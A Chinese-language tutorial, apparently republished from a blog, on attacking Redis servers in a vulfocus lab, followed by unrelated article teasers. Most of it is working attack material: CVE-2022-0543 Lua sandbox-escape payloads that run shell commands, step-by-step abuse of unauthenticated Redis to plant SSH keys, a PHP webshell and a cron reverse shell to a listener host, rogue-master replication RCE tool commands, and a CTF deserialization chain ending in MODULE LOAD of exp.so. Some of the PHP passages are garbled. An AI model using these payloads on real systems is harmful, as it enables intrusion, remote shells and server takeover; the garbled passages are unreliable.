数据库攻防学习之Redis

Redis

0x01 redis学习

在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识,那么什么是redis?redis就是个数据库,常见端口为6379,常见漏洞为未授权访问。

0x02 环境搭建

这里可以自己搭建一个redis环境,也可以用vulfocus搭建一个环境,可以两个都搭建,因为一些攻击手法,需要自己搭建的环境才能成功。

ubuntu 20.04+docker

docker create -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e
VUL_IP=127.0.0.1 vulfocus/vulfocus

建议vulfocus最好搭建在云服务器上,本机搭建的有的环境可能会复现不成功。

0x03漏洞复现
Redis Lua沙盒绕过 命令执行 CVE-2022-0543

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意
Lua
功能。我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量,该变量又允许访问任意
Lua 功能

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

代码如下

local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io");local io = io_l();local f = io.popen("id", "r");local res = f:read("*a");f:close();return res

payload如下

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("id", "r");
local res = f:read("*a"); f:close(); return res' 0

漏洞复现

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("ls", "r");
local res = f:read("*a"); f:close(); return res' 0

这里可以用another redis 这个个管理工具,方便redis数据库使用

eval 'local io_l =
package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0",
"luaopen_io"); local io = io_l(); local f = io.popen("find / -name
flag*", "r"); local res = f:read("*a"); f:close(); return res' 0

未授权访问redis 未授权访问 (CNVD-2015-07557)

这个未授权访问存在很多,而且面试也很常问,实战也能遇见到。

攻击姿势常见有三种,1写入公钥,2写入webshell,3写入计划任务,当然其中有不少细节,我们需要去掌握。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

1.linux写入公钥

利用前提 Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

ssh-keygen -t rsacd /root/.ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> key.txtcat key.txt | redis-cli -h 目标IP -x set xxx

这里权限不够,这个是vulfocus有问题

满足条件的话可以直接这样,可以自己搭建一个redis环境做实验

具体搭建可参考

https://blog.csdn.net/qq_41210745/article/details/103305262

yes要改成no

环境启动,接着

config set dir /root/.ssh/config set dbfilename authorized_keyssavecd /root/.ssh/ssh -i id_rsa root@目标IP

已经成功写入

进入该ubuntu查看 cd /root/.ssh/

尝试SSH连接

ssh -i id_rsa root@192.168.48.133

可以看到成功拿下

2.写入webshell

前提条件,有可写权限,存在web服务,知道web路径

继续用该环境下尝试webshell写入

命令如下

FLUSHALL 使用这个清空之前的配置

前提条件,web目录可以读写

config set dir /tmp 设置WEB写入目录config set dbfilename test.php 设置写入文件名set test "<?php phpinfo();?>" 设置写入文件代码set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
换行防止执行失败bgsave 保存执行savechmod -R 777 /var/www/html/

这里设置html尝试写入webshell

3.写计划任务反弹shell

FLUSHALL 记得清空配置

利用条件:Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态

环境依然是上面的配置环境

config set dir /var/spool/cronset yy "\n\n\n* * * * * bash -i >& /dev/tcp/ip/端口
0>&1\n\n\n"config set dbfilename xsaveset yy "nnn* * * * * bash -i >&
/dev/tcp/192.168.48.133/9999 0>&1\n\n\n"

注意:

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

可以看到有乱码,ubuntu并未正常执行

主从复制利用

https://github.com/n0b0dyCN/redis-rogue-server 得到的是一个交互式的shell

https://github.com/vulhub/redis-rogue-getshell 这个可以直接命令执行

redis-rogue-serve

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost
IPpython3.6 redis-rogue-server.py --rhost 192.168.48.133 --rport 29325
--lhost 192.168.48.132

redis-rogue-getshell

这里记得要编译

cd RedisModulesSDK/makepython3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "id"python3.6 redis-master.py -r 192.168.48.133 -p 56024 -L 192.168.48.132
-P 6666 -f RedisModulesSDK/exp.so -c "find / -name flag*"

实际情况中我们可以灵活运用exp.so文件,不一定非得用脚本,比如这种情况

天翼杯

考点反序列化,redis主从复制RCE代码

<?phpclass a{public $code = "";function __call($method,$args){eval($this->code);}// function __wakeup(){// $this->code = "";// }}class b{function __destruct(){echo $this->a->a();}}$a=new A();$b=new B();$a->code="phpinfo();";$b->a=$a;echo
serialize($b);

构造POP链子,可以看到call魔术方法里面有eval函数,那么需要构造链子触发到call魔术方法。

__call():当调用对象中不存在的方法会自动调用该方法__wakeup()当使用unserialize()反序列化一个对象后,会自动调用该对象的__wakeup方法

这里__destruct方法调用了一个不存在的a方法,那么会调用到__call方法

因为__wakeup方法中 t h i s − > c o d e = " " ; 还有 p r e g m a t c h a l l ( ′ / " [ B A ] " : ( . ∗ ? ) : / s ′ , this->code = "";还有preg_match_all('/"[BA]":(.*?):/s', this>code="";还有pregmatchall(/"[BA]":(.?):/s,_REQUEST[‘poc’],$ret);这里有过滤,所以接下来要做到绕过__wakeup和正则,这里利用__wakeup的CVE和php对类名大小写不敏感的特性去绕过,A,B换成a,b,其中__wakeup漏洞原理:在类对象属性个数超过实际个数时就会不执行wakeup函数。

如下O:1:“b”:1:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}绕过wakeupO:1:“b”:2:{s:1:“a”;O:1:“a”:1:{s:4:“code”;s:10:“phpinfo();”;}}

这里无法执行system(“ls”)

蚁剑连接 a − > c o d e = " e v a l ( a->code="eval( a>code="eval(_POST[“a”]);";

打开之后发现其泄露了redis的密码define(“REDIS_PASS”,“you_cannot_guess_it”);蚁剑插件连接上

使用EXP.so文件

MODULE LOAD /var/www/html/exp.so

然后就可以进行命令执行了

若有收获,就点个赞吧

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/591415.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

文件监控软件丨文件权限管理工具

文件已经成为企业最重要的资产之一。然而&#xff0c;文件的安全性和完整性经常受到威胁&#xff0c;如恶意软件感染、人为误操作、内部泄密等。 为了确保文件的安全&#xff0c;文件监控软件应运而生。本文将深入探讨文件监控软件的概念、功能、应用场景和未来发展等方面。 文…

7、InternVL

简介 github demo 使用网络获取的油画图片&#xff0c;InternVL识别还算可以。 使用stable diffusion生成的图片&#xff0c;InternVL能很好的识别。 权重 huggingface地址 模型搭建 github地址 下载源码 git clone https://github.com/OpenGVLab/InternVL.git创建环…

Windows 使用 nmap软件测试 UDP 端口

下载windows版nmap &#xff0c;下载后双机默认安装。 Download the Free Nmap Security Scanner for Linux/Mac/Windows 打开CMD &#xff0c; 输入 cd C:\Program Files (x86)\Nmap C:\Program Files (x86)\Nmap>ncat -z -v -u ntp.aliyun.com 123 Ncat: Version 7.80 ( …

【HarmonyOS开发】共享包HAR和HSP的创建和使用以及三方库的发布

OpenHarmony提供了两种共享包&#xff0c;HAR&#xff08;Harmony Archive&#xff09;静态共享包&#xff0c;和HSP&#xff08;Harmony Shared Package&#xff09;动态共享包。 HAR与HSP都是为了实现代码和资源的共享&#xff0c;都可以包含代码、C库、资源和配置文件&…

redis的搭建及应用(七)-redis的限流插件redis-cell

Redis限流插件-redis-cell redis-cell 是一个用rust语言编写的基于令牌桶算法的的限流模块&#xff0c;提供原子性的限流功能&#xff0c;并允许突发流量&#xff0c;可以很方便的应用于分布式环境中。 下载redis-cell插件 访问Releases brandur/redis-cell (github.com) 上传…

计算机网络——应用层与网络安全(六)

前言&#xff1a; 前几章我们已经对TCP/IP协议的下四层已经有了一个简单的认识与了解&#xff0c;下面让我们对它的最顶层&#xff0c;应用层进行一个简单的学习与认识&#xff0c;由于计算机网络多样的连接形式、不均匀的终端分布&#xff0c;以及网络的开放性和互联性等特征&…

Python流星雨完整代码

文章目录 环境需求完整代码详细分析环境需求 python3.11.4PyCharm Community Edition 2023.2.5pyinstaller6.2.0(可选,这个库用于打包,使程序没有python环境也可以运行,如果想发给好朋友的话需要这个库哦~)【注】 python环境搭建请见:https://want595.blog.csdn.net/arti…

找第三方数据公司获取电商平台商品数据订单数据店铺信息等

API文档 如何获取&#xff1f; 应用业务场景&#xff08;不限&#xff09;

京东tp3手势验证

2024祝我们越来越好。 新年第二天&#xff0c;来看下这最新的tp3手势验证码&#xff0c;很在之前就发过一篇&#xff0c;最近看了看更新了一个东西&#xff0c;但是难点还是在轨迹上面&#xff0c;感兴趣的朋友可以去看看。 risk_jd[jstub] 改了下这&#xff0c;之前我都没带…

基于ThinkPHP的云盘系统Cloudreve本地搭建并实现远程访问

文章目录 1、前言2、本地网站搭建2.1 环境使用2.2 支持组件选择2.3 网页安装2.4 测试和使用2.5 问题解决 3、本地网页发布3.1 cpolar云端设置3.2 cpolar本地设置 4、公网访问测试5、结语 1、前言 自云存储概念兴起已经有段时间了&#xff0c;各互联网大厂也纷纷加入战局&#…

Flume基础知识(一):Flume组成原理与架构

1. Flume定义 Flume是Cloudera提供的一个高可用的&#xff0c;高可靠的&#xff0c;分布式的海量日志采集、聚合和传输的系统。Flume基于流式架构&#xff0c;灵活简单。 Flume最主要的作用就是&#xff0c;实时读取服务器本地磁盘的数据&#xff0c;将数据写入到HDFS。 2. Fl…

关于标准那些事——第六篇 四象之“白虎”(要素的编写)

两仪生四象——东方青龙&#xff08;木&#xff09;、西方白虎&#xff08;金&#xff09;、南方朱雀&#xff08;火&#xff09;、北方玄武&#xff08;水&#xff09; 分别对应标准编写之四象——层次的编写、要素的编写、要素的表述、格式的编排。 今天来分享一下 要素的编…

【Bug解决】Failed to configure a DataSource

1、问题描述 SpringBoot项目在启动时报出下面的错误&#xff1a; Description: Failed to configure a DataSource: url attribute is not specified and no embedded datasource could be configured. Reason: Failed to determine a suitable driver class Action: Consider…

大一C语言程序细节复盘2

7-4 学生成绩排序 分数 27 全屏浏览题目 切换布局 作者 张泳 单位 浙大城市学院 假设学生的基本信息包括学号、姓名、三门课程成绩以及个人平均成绩&#xff0c;定义一个能够表示学生信息的结构类型。输入n&#xff08;n<50&#xff09;个学生的成绩信息&#xff0c;按照学生…

NFS(文件存储服务)

题目 创建NFS共享文件夹,允许InsideCli可以远程挂载,映射挂载到D卷。共享文件夹路径为D:\shares\NFSshare。共享名称为NFSshare。允许未映射的用户访问。共享权限为读/写。服务配置步骤( 服务端 ) 步骤一 - 安装服务 步骤二 - 配置NFS服务 配置共享文件夹 选择共享路径

WSUS更新服务

题目 安装WSUS更新服务,更新补丁目录设置为“c:\wsusbackup”。创建更新组名称为“CHINASKILLS-WSUS”。每天凌晨03:00下发自动更新。更新服务器地址为“http://wsus.chinaskills.com:8530”。服务配置步骤 步骤一 - 安装Windows Server 更新服务 安装Windows Server 更新服…

外汇天眼:注意!年末大量无监管平台上榜,有的仍在诈骗!

纵观整个10月的天眼客诉排行榜&#xff0c;可以发现此次名单基本上都是无监管的外汇平台&#xff0c;无法出金依旧仍是客诉的关键来源。在本月的客诉榜单中&#xff0c;超过半数的平台仍然在活跃中&#xff0c;交易者们一定要远离&#xff0c;注意警惕。 接下来&#xff0c;就…

一键批量处理,轻松管理TXT文本,自动识别编码,快速转换为ANSI!

在数字化时代&#xff0c;文本文件的管理显得尤为重要。你是否曾经遇到过TXT文本编码格式混乱&#xff0c;导致文件无法正常打开或显示乱码的情况&#xff1f;现在&#xff0c;我们为您带来了一款强大的文本批量处理工具&#xff0c;具备自动识别TXT文本编码并转换为ANSI的功能…

如何使用Docker部署Swagger Editor结合内网穿透实现远程编辑API文档

文章目录 Swagger Editor本地接口文档公网远程访问1. 部署Swagger Editor2. Linux安装Cpolar3. 配置Swagger Editor公网地址4. 远程访问Swagger Editor5. 固定Swagger Editor公网地址 Swagger Editor本地接口文档公网远程访问 Swagger Editor是一个用于编写OpenAPI规范的开源编…

脆弱的SSL加密算法漏洞原理以及修复方法

漏洞名称&#xff1a;弱加密算法、脆弱的加密算法、脆弱的SSL加密算法、openssl的FREAK Attack漏洞 漏洞描述&#xff1a;脆弱的SSL加密算法&#xff0c;是一种常见的漏洞&#xff0c;且至今仍有大量软件支持低强度的加密协议&#xff0c;包括部分版本的openssl。其实&#xf…